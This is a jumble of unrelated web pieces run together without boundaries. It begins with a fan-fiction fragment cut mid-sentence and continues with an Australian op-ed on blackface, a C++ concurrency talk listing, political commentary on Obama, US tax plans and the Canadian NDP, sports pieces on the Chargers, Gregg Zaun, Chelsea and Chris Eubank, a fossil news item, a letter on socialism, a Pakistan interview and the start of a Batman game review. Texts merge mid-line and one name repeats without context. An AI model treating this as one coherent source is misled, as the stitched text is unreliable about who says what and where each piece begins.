The first night Anna had ever shared a bed with Elsa, hours after the Solstice assassination attempt so long ago, the former thief had expressed her fear that killing would become easier...that it would change her. The Queen had assured her otherwise, but Anna realized now that the monarch's words had been empty.
It has changed me. The innocent
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the lies of nation persist, writes Amy McQuire.
Over the weekend, yet another blackface scandal broke. It must be at least the third this year, almost time to begin a running tally. This latest outrage came in the form of the Frankston Bombers Football and Netball Club on the Mornington Peninsula in Victoria.
The club reluctantly apologised yesterday after Aboriginal musician Briggs posted a screengrab of their Instagram page to Facebook, where they had uploaded several pictures of their members dressed up in blackface.
The party theme was to imitate your favourite musician, inevitably allowing an opportunity for blackface – the war paint of racists the world over.
Briggs was understandably offended, and said so on his page, which predictably attracted the ire of white commentators outraged that their infantile need to engage in racist humour should dare come under scrutiny.
Comments like “oh my god, it’s a footy club dress up, it’s a bit of fun and a laugh with no racist intent at all”, attracted 300 likes, and encapsulated the type of remarks typical of white people who can’t see the irony in lecturing everyone else on what racism actually is, despite never being the victim of it themselves.
We are all familiar with this argument by now. You’d think racists would come up with a bit of creativity.
The club were unique, however, in following up with an expletive-ridden message left on Briggs’ phone, which he also posted to his Facebook page. After media attention, the Bombers followed up with its own statement wishing to “assure supporters, sponsors and the wider community that the club is no way racist and unreservedly apologises for any offence that has been caused.”
I guess that means this scandal is done and dusted.
But it’s only been about three months since the last Blackface scandal – when Briggs and fellow First Nations musician Thelma Plum called out two men who had painted themselves black and donned red loincloths to mock Aboriginal people. That scandal attracted an even greater deal of media attention.
It hit the news just before US singer Rob Thomas apologised for making a racist remark during a Melbourne concert. Around the same time, Opals basketball star Liz Cambage also hit the headlines for calling out her teammate Alice Kunek after she posted a photo of herself in blackface.
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I can completely understand the anger these incidents provoke, because they are constant reminders of how deeply ingrained racism is in this country. I can understand the outrage from First Nations peoples. It becomes exhausting seeing how ferociously racism is defended by white people who will never experience it.
Unfortunately, these scandals only ever last for a couple of days. They dwindle and die after the apology, where nothing is resolved. And then they crop up again like weeds in some other party around the country. Meanwhile, when they do, Blackfellas are again forced to deal with the prejudice, ignorance and outright hatred because nothing was ever really resolved.
I just wonder how these continual blackface scandals impact the collective psychology of our peoples, who are not just dealing with the daily occurrences of racism, but the deeply entrenched structural racism that corrupts our institutions.
Calling out one football club over their ignorance only individualises the problem.
It makes it seem as if racism can be stopped by individuals who change their minds, or who are pressured into quietening their prejudice, when really they are simply cogs in the machine.
Australia is propped up by racism – the power structures of this racism have never been dismantled because of the collective failure to deal with the lies at the heart of the nation – the genocide and invasion of this country.
The individuals in blackface have no power except to make us angry. They are by-products of a racist machine, and until that machine itself is dismantled, it will continue to produce them.
Calling them out for their individual idiocy ultimately does nothing except silences them for a while before the next scandal erupts.
You could argue of course, that we can do both at the same time. We can call out the idiots in blackface and also actively work to dismantle their manufacturers. But so much energy gets wasted on the former, on arguing with people who have had their ignorance instilled since birth, that sometimes I wonder if there is a point.
And I wonder how these small fights affect us psychologically as we wage the bigger battle.
The media also thrives on these scandals, and presents them as individual acts of racism, misinterpreting the true scale of this problem.
Meanwhile, as a whole, it is apathetic when Aboriginal people are victims of even more insidious acts of racism. Like deaths in custody, missing and murdered Aboriginal women, the underpayment of wages, stolen wages, stolen children, the list goes on.
I guess this is because it means confronting even more disturbing truths. Too much work for white media.
Sometimes it’s easier to write about some idiot in black make-up than the power structures that enable that racism to exist and thrive.
HOUSE AD – NEW MATILDA NEEDS YOUR HELP TO FUND OUR COLUMNISTS. YOU CAN CHUCK IN A FEW BUCKS TO OUR LATEST POZIBLE CAMPAIGN HEREPractical lock-free concurrency (in C++): Part 2
Date: This event took place live on June 07 2016
Presented by: Fedor Pikus
Duration: Approximately 90 minutes.
Questions? Please send email to
Description:
Fedor Pikus covers the main differences between lock-free and lock-based programming and the reasons to write lock-free programs (as well as the reasons not to). Fedor explores writing a lock-free data structure, considering what it would take to write a generic, lock-free queue and examining some of the inherent limitations imposed by the nature of the concurrent problem, as well as the practical limitations that most application programmers can accept. (Is there really such a thing as a concurrent queue? Yes, sort of. What about a lock-free queue?) Fedor demonstrates how to take advantage of these limitations, outlining practical examples of (mostly) lock-free data structures, with actual implementations and performance measurements. Even if the specific limitations and simplifying assumptions used in this talk do not apply to your problem, you’ll leave knowing how to find such assumptions and take advantage of them; chances are you can use lock-free techniques to write code that works for you and is much simpler than what you learned before.
You can view Part 1 here: Practical lock-free concurrency (in C++) Part 1
About Fedor G. Pikus
Fedor G. Pikus is a chief engineering scientist in the Design-to-Silicon division of Mentor Graphics, where his responsibilities include planning the long-term technical direction of Calibre products, directing and training the engineers who work on these products, the design and architecture of the software, and research in new design and software technologies. Previously, Fedor was a senior software engineer at Google and the chief software architect for Calibre PERC, LVS, and DFM at Mentor Graphics. He joined Mentor Graphics in 1998, transitioning from academic research in computational physics to the software industry.Obama on 60 Minutes:
Obama also expressed impatience with his liberal supporters for not understanding the deep divisions in the country – and that overcoming them was not simply a matter of a better message. “I will say that when it comes to some of– my supporters— part of it, I think, is– the belief that if I just communicated things better, that I’d be able to persuade– that half of the country that voted for John McCain that we were right and they were wrong. “One of the things that I think is important for people to remember is that– you know, this country– doesn’t just agree with the New York Times editorial page. And, I can make some really good arguments– defending the Democratic position. And there are going to be some people who just don’t agree with me. And that’s okay.”
Huh? Who asked you to explain anything to John McCain voters? Who cares what John McCain voters think? Did someone tell the President that we’re disappointed with him because he hasn’t gotten McCain voters on board? Hell, he’s the only one whose mission in life is wooing people who are unwooable. The majority of the country voted for Obama, they’re the only ones he should be worried about convincing.
Second, when has this President defended the Democratic position on anything? He gives some speeches, occasionally, but launch an all-out “defense” of Democratic positions? Seriously? He thinks he’s been doing that? He honestly thinks he’s fought as hard as he could for his promises? Seriously? Did I miss the part where the President asked for the full $1.5 to $2 trillion stimulus that the top economists told him we needed? And even if the President believed he couldn’t get the full stimulus, did I miss the part where he asked for the larger amount anyway, so he could blame the GOP for today’s economic woes? That certainly wasn’t one of those moments in which the President now laments he was being too partisan.
No one is asking President Obama to “make some really good arguments,” like this is law school. We’re asking him to fight for something, anything at this point.
Things are not going to get better until the President understands the problem. And he clearly doesn’t.In 2016, there hasn’t been much of a difference between a win and a loss. Through six weeks, we’ve seen more NFL games finish within one score (50) than in any other season since the turn of the century. And no team knows the volatility of results as well as the 2–4 Chargers, who, with one or two fewer blunders and a couple more balls bouncing their way, could be 6–0 at this point. It’s almost never a good idea to play the what-if game, but San Diego’s path to four losses in their first six weeks has been extraordinary.
In Week 1, the Chargers led the Chiefs 27–10 with 13:24 remaining before surrendering 23 unanswered points and losing 33–27. In Week 3, they couldn’t hold on to a 22–20 fourth-quarter lead with less than two minutes remaining and lost to the Colts, 26–22. In Week 4, they blew a 34–21 lead with less than seven minutes left to drop a game to the Saints, 35–34. And in Week 5, they lost an eight-point third-quarter lead and fell 34–31 to the Raiders.
This isn’t your garden-variety bad luck either; it’s some sort of cosmic grudge. As the The Wall Street Journal notes, the odds that the Chargers would lose all four of those games comes out to about 1 in … 30 million. Per Pro-Football-Reference’s win-probability model, two-thirds of the time, San Diego would’ve won all four.
So, uh, Chargers fans, maybe God really doesn’t want your team to win. Or, maybe there’s another, less deterministic way to look at it: Your team is actually pretty good — Philip Rivers is one of the best quarterbacks in the league, Joey Bosa looks like a breakout star — and things should start falling the Chargers’ way soon.
Related A Preemptive Farewell to the San Diego Super Chargers
At 2–4, the Chargers sit alone at the bottom of the AFC West, but they’re not your typical last-place team. Their four losses came by a combined 14 points. They’ve been in the lead 62.9 percent of the time this year, fifth most in NFL. Most importantly, they’re actually built for consistent success. They feature a top-tier franchise quarterback in Rivers. They’ve got talent and depth on defense, including rookie phenom Bosa. And despite losing their best receiver (Keenan Allen) in Week 1, their best pass-catching running back (Danny Woodhead) in Week 2, and their star shutdown cornerback (Jason Verrett) in Week 4, they own the eighth-ranked offense and the 12th-ranked defense, per Football Outsiders DVOA. If you need any more convincing, just look at their 21–13 win over the defending Super Bowl champs last Thursday.
Of course, no amount of talent will matter if the Chargers can’t start playing better late in games. Through three quarters, there might not be a better team in the NFL: San Diego has averaged 24.2 points through the first three frames — second only to the Falcons — but when it comes to the fourth quarter, both sides of the ball fall off a cliff. Their 4.7 points in the final quarter ranks 28th, they’re converting third downs just 17 percent of the time in the fourth (29th in the NFL), and their four fourth-quarter turnovers are fifth-most in the league. When the offense can’t convert third downs late and gives the ball away, it makes life rough on their defense: San Diego has given up an average of 11.3 points per game in the fourth quarter, second-worst in the NFL.
Most of the fourth-quarter struggles can be ascribed to a combination of untimely mistakes and bad fumble luck. In Week 1, Josh Lambo left the door open when, with the Chargers leading 27–10 at the 11:25 mark, he missed a 54-yard field goal that would’ve pushed the lead to 20. Later in the quarter, after Kansas City had crept back to within seven, Drew Kaser shanked a punt from his own 25-yard line, netting just 17 yards, setting the Chiefs up for their game-tying drive. In Week 3, with the Chargers trailing the Colts by four, a Hunter Henry fumble with 1:11 remaining killed any chance at a game-winning drive. And in Week 5 in Oakland, a pair of special teams errors — another 16-yard punt shank by Kaser late in the third quarter, followed by his fumbled snap on a 35-yard field goal attempt that would’ve tied the game at 34 with 2:07 remaining — sealed the San Diego’s fate.
There is some hope that San Diego’s turnover problem could improve. Fumble recoveries are mostly random, and the Chargers have been incredibly unlucky when it comes to tracking down loose balls. They’ve fumbled a league-high 16 times and lost 10 of them (most in the NFL) to their opponents. Compare that to the Browns, who have fumbled 13 times but have lost just three to the defense. With any regression to the mean, the Chargers’ numbers will even out.
Still, this isn’t totally random. San Diego needs to stay aggressive late in games, and head coach Mike McCoy may have learned that lesson last week. In the big win over the Broncos, San Diego went into conservative run-the-clock-out mode holding a 21–3 lead early in the fourth. Rivers dropped back to pass just one time the whole quarter, and he was sacked. Of course, this allowed Denver to chip away at the lead, but the Chargers held on to win 21–13 when a Hail Mary on the final play fell incomplete. They got the meltdown monkey off their backs — but just barely.
At 34 years old, Rivers hasn’t shown many signs of slowing down, and as long as he’s under center, the Chargers are going to score points: They’re third in the league in scoring with 28.8 per game. Rivers has overcome a mostly bad offensive line (which ranks 22nd in both adjusted line yards in pass protection, per Football Outsiders) to complete 67.2 percent of his passes, throw 12 touchdowns to just three picks, and average 8.2 yards per attempt (tied for second in the NFL). He remains one of the best pocket passers in the NFL — rarely fazed the pressure around him — and he’s an aggressive thrower down the field.
What’s more, he’s doing it all without his top two targets from last year in Allen and Woodhead, while the trusty Antonio Gates has been banged up for much of the season as well. But the transition to a passing game featuring Travis Benjamin and the duo of… [puts on bifocals, sifts through notes] … two people named Tyrell Williams and Dontrelle Inman, has been seamless. Additionally, tight end Hunter Henry, a second-round pick out of Arkansas, provided a huge boost when Gates missed two games. He’s caught 19 passes for 310 yards and a team-high three touchdowns and has replaced Gates as the Chargers’ no. 1 tight end. Thanks to his ability to line up all over the field, he’s already developed a nice rapport with Rivers.
Henry has shown remarkable ability (for a tight end) to take a short pass and turn it into a big gain. Against the Raiders, he took a quick slant over the middle and rumbled for 59 yards. Then against the Broncos, he made a similar play to pick up 27 yards.
He’s displayed the ability to make tough catches …
… and he’s also a precise route runner.
Perhaps most importantly, Henry’s shown that he can be a red zone threat. In Oakland, he ran off of a rub route from the wing and caught a pass in the back of the end zone. Against Denver, the rub-route roles changed: He moved to the slot as the inside man on the combination route, and when the Broncos switched, he looped around, got leverage on Denver corner Chris Harris, boxed Harris out, and caught the pass.
The emergence of Melvin Gordon as a reliable, three-down running back for the Chargers’ ground game has been a big boost, but Rivers not skipping a beat despite throwing to a group fresh faces, led by Henry, has been the most impressive thing about the San Diego offense.
The Chargers defense has made big improvements over the 2015 squad that ranked 24th in defensive DVOA. Part of it has been the continued development of key starters like outside linebackers Melvin Ingram and Kyle Emanuel and defensive linemen Corey Liuget and Tenny Palepoi. San Diego’s spending spree in free agency this past offseason is paying dividends, too: Nose tackle Brandon Mebane has been a physical force on the inside of the line, blowing up run plays by shooting into the backfield, and cornerback Casey Hayward has been an excellent cover man in the secondary, helping to account for the loss of Verrett. But it’s the rookie class that’s really stealing the show for San Diego’s defense.
Inside linebacker Jatavis Brown — a fifth-round pick in April — has been all over the field, and he leads the team in tackles after racking up 14 on last Thursday against the Broncos. Despite the hostile contract standoff between Bosa and San Diego’s front office, the third-overall pick has been as good as advertised, too. Bosa has lined up at defensive end on both sides of the line, where he’s collected 14 quarterback pressures and two sacks in just two games after missing the first four to a hamstring injury. His speed and power gives the Chargers defense a new complexion: Bosa is a three-down player that can rush off the edge, change speeds to anchor against the run, and loop around to the inside on stunts to get to the quarterback.
His two sacks were based more on coverage and team effort to collapse the pocket, but in them, you can see his unrelenting motor in action. He sticks with both plays, keeping his eye on Derek Carr to prevent him from escaping to scramble.
Against the run, he’s already shown the value in having a 269-pound defensive end that can provide some power on the edge. Against the Raiders, we saw that twice: In the first quarter, he took on Oakland left tackle Donald Penn, stopped the block in its tracks, then made the tackle when running back Jalen Richard cut the ball inside. In the second quarter, he swatted Denver Kirkland aside to loop inside and stop Richard for a 2-yard loss.
Bosa’s best play so far wasn’t a sack or a run stop, though. It was this play in the second quarter against Denver, when he tracked down Trevor Siemian from behind on a third-and-11, preventing him from scrambling for the first down. That drew emphatic fist pumps from McCoy and forced the Broncos to kick a field goal.
Their record might not say it just yet, but the Chargers are a good football team. The next two weeks, though, should tell us just how good. They hit the road on Sunday to face off against the high-octane Atlanta Falcons passing game before heading to Denver for a rematch with the Broncos. It’s as challenging of a road trip as you could find in the NFL right now, but if it seems like the Chargers have already dug themselves into an inescapable hole, we don’t have to look far to see why that’s not true. Last year, the Chiefs started out 1–5 before winning 11 straight and going to the playoffs, and the Seahawks found themselves at 2–4 last season before winning eight of their final 10 games to secure a playoff berth.
San Diego has the talent to contend for a playoff spot in the AFC if it can fix its late-game issues. The Chargers are a good team that hasn’t been executing in all the wrong spots. It’s an important distinction: They’re not fundamentally flawed, they don’t lack depth, and they’re not running with a bunch of developmental projects in key positions like many of the other cellar-dwelling teams of the league. With a combination of skilled young players and experienced veterans, San Diego has a great chance to turn its season around — unless, of course, someone else is pulling the strings.Three-dimensional images of a newly unearthed croc skull -- recovered from a slab of limestone in Germany -- revealed a new species from the Jurassic period. Photo by Schwarz et al./PLOS ONE
Feb. 15 (UPI) -- Scientists have recovered the fossilized remains of tiny-headed crocodile from the time of the dinosaurs. Their analysis suggests the specimen is a new species.
Germany's Langenberg Quarry has offered scientists a treasure trove of Late Jurassic fossils over the decades. The quarry has proven especially rich in marine vertebrates.
The most recent discovery, a pair of small crocodile-like atoposaurids, proved especially difficult to separate from the strata's limestone and cemented sediments, so scientists used micro-computed tomography to build a 3D reconstruction of one of the two skulls.
Scientists determined the skull was unlike any previously identified atoposaurid species. Scientists initially assigned the specimens to the genus Theriosuchus, but after analyzing the skull in 3D decided the specimens deserved their own genus. They named the croc Knoetschkesuchus langenbergensis.
Researchers described the new species in PLOS ONE.
"The study describes a new diminutive crocodile Knoetschkesuchus langenbergensis that lived around 154 million years ago in northwestern Germany," Daniela Schwarz, a paleontologist at the Leibniz Institute for Evolutionary and Biodiversity Research, said in a news release. "Knoetschkesuchus belongs to the evolutionary lineage that leads to modern crocodiles and preserves for the first time in this group two skulls in 3D, allowing us detailed anatomical studies via micro-CT images."Republicans on debate night are all promising to slash taxes and unleash economic growth. Many of them, of course, haven't actually presented a specific tax plan. But those who have are peddling economic fantasies. Even the conservative Tax Foundation believes these plans would balloon the national debt.
Donald Trump's plan would cost over $10 trillion.
Bobby Jindal's plan would cost $9 trillion.
Rick Santorum's would cost $1.1 trillion.
Marco Rubio? More than $1 trillion over the next decade.
One exception: The Tax Foundation says Rand Paul's tax plan would save the government $737 billion. But other tax experts are far less sanguine. Citizens for Tax Justice estimates that Paul's plan would cost $15 trillion. Much of the difference is due to less optimistic assumptions about economic growth. The Tax Foundation assumes that tax cuts benefitting Wall Street and the wealthy will generate very high levels of growth. Citizens for Tax Justice does not.
Total debt held by the public is currently $13.08 trillion.
For the latest updates on tonight's debate, visit our liveblog.
Also on HuffPost:What else could NDP Leader Thomas Mulcair say in response to a party report chronicling the shortcomings of the party's last election campaign?
"As leader, I take full responsibility for these shortcomings," he wrote this week. "I could have done a better job."
It is said that defeat is an orphan and victory has 1,000 fathers. Needless to say, no one is claiming paternity for the terrible NDP result. Mr. Mulcair had bizarre press advice and serious weaknesses in strategic advisers, but the leader is the leader. He chose those around him. He decided whether or not to listen. He is ultimately responsible, the paterfamilias of defeat.
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Which leads to the question of his continuing leadership – a question that will be put to delegates at the party's April convention. Mr. Mulcair wants to stay. No one is agitating publicly to replace him. But the results of the last election, and the prospects for the next, might weigh against his chances.
The NDP, never much focused on taking power, did not throw past leaders overboard following disappointing election results. The NDP expected to lose, the only question being by how much. So leaders were cut slack, especially if the party's self-proclaimed moral victories made the NDP feel good about itself.
The NDP has returned to the territory of moral victories. The party peaked in popularity in the middle of last year, and allowed itself to believe, against all the currents of history, that Canadians might put the party in power.
When that dream collapsed, so obviously did the campaign. All but core Conservatives wanted change, a sentiment the Liberals captured. The result left the federal NDP back in distant third place. Provincially, the NDP runs two provinces, one of which, Manitoba, is quite likely to heave the party from office in the April provincial election.
The painful reality – one that will endure for some time – is that only party stalwarts care what the NDP has to say about anything. The Liberals not only bestride Canadian politics, but as long as they talk grandly about the environment and "reconciliation" with aboriginals, spend freely on social and physical infrastructure and run very large deficits – all of which the Liberals plan to do – the NDP will have precious little political space.
The Liberals have a vigorous, youthful leader. If the Conservatives have any brains they will choose one of those at their convention in 2017. If so, the NDP will be left with a grizzled Mr. Mulcair for the election campaign of 2019. Age and experience are useful for making wise judgments, but in this media age they can be a comparative handicap against more youthful leaders.
And there is the matter of Quebec. More than anything else, Mr. Mulcair's Quebec roots propelled him to the leadership. His work there was credited with having contributed to the "Orange Wave" in Quebec that made the NDP the Official Opposition under Jack Layton.
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Now that wave has receded, and it is unlikely to be recreated. If so, then Mr. Mulcair's major political attribute will have lost some of its importance. Quebec support, and lots of it, was critical to making the NDP believe it might just win power. With a prolonged spell in third place beckoning, the Quebec imperative might lose some of its urgency.
It is always easier to be wise with the benefit of hindsight. The NDP, thinking it might win, constructed a key policy plank – a balanced budget – that was consistent with Mr. Mulcair's own preference for fiscal prudence and a necessary balm for fears that the NDP could not run a candy store.
That the federal party would embrace fiscal prudence as a cardinal tenet of an election platform was a first, for which the public rewarded the party with a slap in the face when the Liberals campaigned on large spending increases and a deficit, the size of which will be much larger than they had promised. Spending suggested "change" more than balanced budgets, which the Conservatives, after all, also preferred.
What the NDP believed would be a virtue turned into a liability. Now liberated from thinking like a party challenging for power, the NDP will head back into the mentality of being a perpetual opposition party.
Mr. Mulcair would have been a credible candidate for 24 Sussex Dr. Would he be the right fit for the wilderness?Gregg Zaun has become the adopted Canadian son, a consummate professional and a Blue Jays fan favorite around these parts. The man known as “Zauny” is currently a baseball analyst with Rogers Sportsnet providing a refreshing, no holds barred outlook on Canada’s baseball team north of the border. “Zauny” has become the “Don Cherry” of baseball not only with his candidness but also with his choice of “always pro” flamboyant pin-striped suits.
Greg Zaun was drafted in the 17th round of the 1989 amateur draft by the Baltimore Orioles and started his professional career in 1990 with the Bluefield Orioles of the Appalachian League. Zaun spent the next 6 seasons progressing through the various minor league levels. In 1995 Gregg Zaun made his major league debut with the Baltimore Orioles playing in 40 games with the big club.
Zaun went on to play for 10 major league teams amassing 1232 games in his 16 year career. He was also a member of the 1997 Florida Marlins World Series team that beat the Cleveland Indians in a tight 7 game series.
Zaun latched on with the Toronto Blue Jays in 2004 and spent the next 5 seasons with the Blue Jays as the everyday catcher playing 535 games during that tenure with the blue birds. Zaun still holds the Blue Jays record for most runners caught stealing with 88 put-outs. Zaun eventually hung up the spikes in 2011 for a gig with Sportsnet.
Away from the diamond Gregg is well known for his work within the community with his charity “Zauntourage” and his involvement with “Right to Play”. Zaun played a major role in the Uganda Project that sent the Canadian Little League team to Uganda to play “the game that never was.” (http://www.sportsnet.ca/baseball/2012/04/01/fair_ball_baseball_documentary_sportsnet/)
Zaun graciously agreed to answer 10 interview questions via email and here are the responses from that interview.
Gregg Zaun Interview
1. You are the nephew of former catcher Rick Dempsey, what kind of influence did he have on you growing up and becoming a catcher?
It was obvious right away what my dream job would be, growing up watching him play for the orioles led me to love the game and led me to choose catcher as my position. What choice did I have? Shortstop……
2. Looking back on your career what is your biggest accomplishment and biggest regret?
My biggest accomplishment, besides winning a World Series ring, was lasting as long as I did. I had some major injuries and major odds stacked against me, but I never gave up. I like to think that people in the game rethought how they looked at “under sized” players. My biggest regret was not being more of a risk taker. I wish I would have trusted my instincts more.
3. The best and worst advice you ever received from a manager during your career?
The best and worst advice I ever got from a manager came from the same man at the same time. “get on the plane and hide from the GM for 6 months, because if he knows I put you on this team, he’ll fire me” Jim Leyland.
4. You have hit the only walk off grand slam in extra innings in the history of the Toronto Blue Jays. Do you remember the at bat and what pitch you crushed?
It was against Troy Percival. I went up looking to ambush a fastball first pitch and got it. He threw it in a spot I never missed. I got it a little off the end but it carried out of the yard.
5. What former team-mate of yours belongs enshrined in the Hall of Fame?
Rafael Palmeiro should definitely get in. No matter what he may or may not have done, the numbers don’t lie.
6. You have become the adopted son here in Canada, can you explain your charity “Zauntourage and what it meant for you to be involved in the “Fair Ball” Project in Uganda?
Zaunbie Nation, my fan club, morphed into the Zauntourage when I retired. Ryan Braun came up with the name. I thought it was clever so I changed it. Going to Uganda was a thrill. We set out to do some good by righting a wrong. I think one of the most important commodities in the world the dream of a child. They need to be preserved. I think we made some dreams come true. My charity, the Gregg Zaun Foundation will continue to benefit and protect the lives of families and more specifically children in need.
7. If you are the General Manager of a Major League team and can select any one pitcher and any one position player to build your franchise around. Who are they and why?
Justin Verlander would be the pitcher I’d start with. He’s a huge talent and a great person. He can lead on and off the field. In the community, he airs class. Curtis Granderson would be my position player. He’s a great player in the prime of his career and I don’t think there’s a better role model in the game today.
8. Who is the Blue Jays catcher of the future JP Arencibia or Travis D’Arnaud and who do you think has the highest upside?
JP is the man as far as I’m concerned. A catcher needs experience to be good at his job. JP is getting that on the job training now. He’s young enough to be counted on 5 years from now. From what I hear, Travis’ skill set is very similar to that of JP a few years ago. He’s considered to be more of an offensive talent. He has some growing to do as a defender. Why would you want to start over a few years from now and have to train another JP.
9. Any truth to the rumor that “Desperate Housewives” was your favorite show and if so did you chew tobacco while watching it?
Desperate Housewives was one of my favorite shows when it debuted. I used to chew tobacco when I watched any TV show. FYI, I QUIT IN NOVEMBER AFTER 25 YEARS.
10. Any chance we will see Greg Zaun back on the field as a coach or manager in the future?
The only way I’d coach or manage would be in the big leagues. No more buses for me.
This concludes another blog, I hope you enjoyed the Gregg Zaun profile and I just wanted to say thanks to Zauny for taking the time out of his busy schedule to partake. (twitter: @greggzaun)
–Clayton RicherWe are pleased to announce our training session at ANZ Stadium on the eve of our eagerly-anticipated match against Sydney FC will be open to the public, allowing supporters the chance to see first-team stars like Eden Hazard, John Terry and Diego Costa up close.
Fans can watch Jose Mourinho and his coaching staff put the squad through its paces during a one-hour session at the match venue on Monday 1 June. The training session begins at 6pm and is open to all with entry through Gates J and K on the West side of the stadium.
Tickets for the game at the 83,000-capacity stadium on Tuesday 2 June are almost sold out, and fans hoping to watch the newly-crowned Premier League champions in action in Australia for the first time in over 40 years are advised to buy their tickets now in order to avoid disappointment.
On the day of the match, the fanzone at ANZ Stadium will be open from 4pm. Blues supporters will have the opportunity to have their photos taken with the Premier League trophy and the Capital One Cup, to meet our club mascots Stamford and Bridget and to purchase official tour merchandise ahead of the game, which kicks off at 8pm.Eubank Jr (left) is hoping to follow in the footsteps of his father
Chris Eubank Sr has claimed his son is the most talented boxer since Sugar Ray Leonard.
Brighton's Eubank Jr, 25, challenges for Billy Joe Saunders' British, European and Commonwealth middleweight titles at London's Excel arena on Saturday.
Hatfield's Saunders, a former Olympian, is the favourite for the fight, which has had an ill-tempered build-up.
"The last person who had this ability was Sugar Ray Leonard," said Eubank Sr.
Media playback is not supported on this device Eubank's impromptu recital of 'If'
"My son is the most dangerous young man I've ever come across in boxing, the most dangerous fighter on the planet.
"I was the benchmark, I was the beacon, I was the one everyone was measured against. And I can't even measure him against me.
"I have never seen anything like him. The great British public has a great journey in front of them over the next 10 years."
American Leonard, regarded by many as the greatest of the modern era, landed Olympic gold in 1976 before winning world titles in five weight divisions as a professional.
Blessed with dazzling skills, knockout punching power, a granite chin and enormous courage, not to mention good looks and charisma, Leonard fought and beat fellow greats Wilfred Benitez, Roberto Duran, Thomas Hearns and Marvin Hagler in a career spanning 20 years.
But Eubank Sr has no qualms about comparing his son, undefeated in 18 contests since turning pro in 2011, to Leonard.
Tale of the tape Billy Joe Saunders Chris Eubank Jr Born 30 August 1989 in Welwyn Garden City, Hertfordshire 18 September 1989 in Hove, Sussex Turned pro December 2008 June 2011 Record 20 fights, 20 wins (11 KOs) 18 fights, 18 wins (12 KOs) Titles European, British and Commonwealth middleweight champion None
"Am I putting too much pressure on him by saying he's as talented as Sugar Ray Leonard?" Eubank Sr told BBC Sport.
"If I don't say it to him, he'll never see it. I have to make him aware that this is what I see. Can he do what I see? I am absolutely certain of that. It's ridiculous the things he can do."
Eubank Sr won world titles in two weight divisions in the 1990s and is remembered as one of the most courageous boxers of all time
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the aspiration has been voiced. If that is what you want, embrace Socialism. Need better lives for workers? Unions will provide. Want more people to share in the wealth? The State will remove prosperity from the greedy and redistribute it to the needy. Your segue from aspiration to solution is so seamless you are able to convince vast swathes of your listeners that the two things are one. That wanting fairness is Socialism, rather than that Socialism is a proposed method of achieving it.
This brilliant sleight of hand has two profound effects. It links the method of Socialism in the minds of the faithful with the good that they seek; and it reinforces the belief that unless you want Socialism you can’t want fairness, or justice, or prosperity for all. You have built a moral bastion from which you can cast righteous fireballs down on the heads of the unworthy. Unfortunately you have built it on sand.
The truth is when you separate out recognising the problem from proposed solutions, the left/right distinctions largely fall away. Clearly there are those on the extreme ends of the spectrum who don’t have anyone’s best interests at heart. They tend to meet in high streets and fight with each other in the pretence that they are separated by anything more than the colour of their banners. For the rest of us, wanting people to be happy and well-fed is not a surprising desire.
What is surprising is your belief that, despite its history of failure, Socialism is likely to achieve this end. What you fail to take into account is that a massive State absorbs the wealth it confiscates, rather than redistributing it to all. Chavez, Mugabe and Blair were all made massively better off as a result of their respective regimes. The poor they had promised succour to not so much.
The reality is that prosperity has always been reliant on some having more than others. Splitting a large farm into hundreds of small farms may appeal to the dreams of the Left but it doesn’t feed the bellies of the hungry.
I am in no doubt that there is a tiny percentage of the world’s population who are just too rich and too powerful. I am equally sure that the way to resolve that problem is not to create a giant bureaucracy that itself becomes too rich and too powerful.
If you have any interest at all in solutions to the problems that you use to promote yourself to the listening public with, I have a suggestion for you. Instead of labelling and demonising anyone who is concerned at the thought of Britain being the finishing line in an economic running race for the world’s poor, listen to those people’s concerns.
Resist the urge to mock or cajole the minute they say something you don’t like. Don’t lecture, preach or harangue. Talk to them about their lives with respect and empathy. You might just inspire them to copy you. You might just start a real conversation. You might even end up leading it.
Imagine how satisfying that would be.
Yours Truly
Jamie Foster
Kwabena Boateng Aidoo
Kwabena Boateng Aidoo
Kwabena Boateng Aidoo
AdvertisementsPakistan’s new prime minister Shahid Khaqan Abbasi has said the bombers behind a deadly truck bombing in the diplomatic zone of Kabul in May, which killed over 150 people, were likely to have come from Pakistan.
In an interview with Financial Times, published Monday, Abbasi also admitted the limitations of its operations but said it was doing all it could to eliminate terror groups such as the Taliban and Haqqani Network.
On the truck bombing incident he said: “I don’t know all the details, but it seems three or four people crossed over the border. There was a vehicle which travelled from that area to Kabul and was parked in an embassy compound before it blew up,” he said.
“We have 250,000 troops fighting there (in the tribal areas along the Durand Line), but we don’t have control of the full area. [Militants] often cross the border from the other side and attack our people. If the Afghan army cannot control them, and US forces cannot control them, what are we supposed to do?,” Abassi said.
Abbasi also warned the US that it risks fuelling terrorism in the region and undermining military efforts in Afghanistan if the Trump administration follows through with a threat to downgrade its relationship with Islamabad, Financial Times reported.
The prime minister told Financial Times in an earlier interview that the US’s hardline approach against Pakistan could backfire.
Just days after the Financial Times revealed that the US was considering stripping Pakistan of its status as an ally because of a perceived failure to tackle terrorism, Abbasi said the hardline approach risked backfiring.
He also hinted that Islamabad could drop the US as a supplier of military aircraft.
He did not however go into details as to what other measures Islamabad could take.
But Financial Times quoted a source close to the Pakistani army as saying: “We could make it harder for the US to use supply routes through Pakistan to serve its troops in Afghanistan, and we could stop co-operating on drone attacks. That would make the war in Afghanistan a lot more difficult.”
Abbasi also told the Financial Times that US President Donald Trump’s new war strategy for Afghanistan and the region was “confusing” and that he had to rely on media reports to find out what Trump’s plans were.
“The signals we get from Washington are confusing, but our message is very clear: we are committed to fighting terror and we will continue to fight terror,” Abbasi told the Financial Times.
“All it will do [if the US downgrades Pakistan as an ally] is degrade our efforts to fight terror, and I am not sure if that will work for the US,” he said.Earlier this year, when Telltale Games announced that it was launching a new choose-your-own-adventure game series based on DC Comics' Batman, I have to admit, I was very skeptical. Not because I don't like Batman - he's my favorite superhero, in fact - but due to the fact that it's very difficult to make a game that's based solely on the character and the drama that surrounds him.
Sure, Rocksteady has done a decent job developing the games in the Arkham series, but I personally feel that its effort focuses less on the character of the Caped Crusader, but rather around the villains, the action, and the Arkham setting that very few other games or movies have explored. And that's alright; Arkham games aren't meant to scrutinize the motivations of Batman or the emotional drama that revolves around him.
So naturally, I was very doubtful about Telltale's endeavor; there was a strong chance that the developer could do serious damage to the dark and gritty story of Batman - as some other forms of media already have.
Fortunately, Telltale Games proved me extremely wrong, and published, what I believe to be the best game of 2016. Read on for my full review of Batman - The Telltale Series.
Story
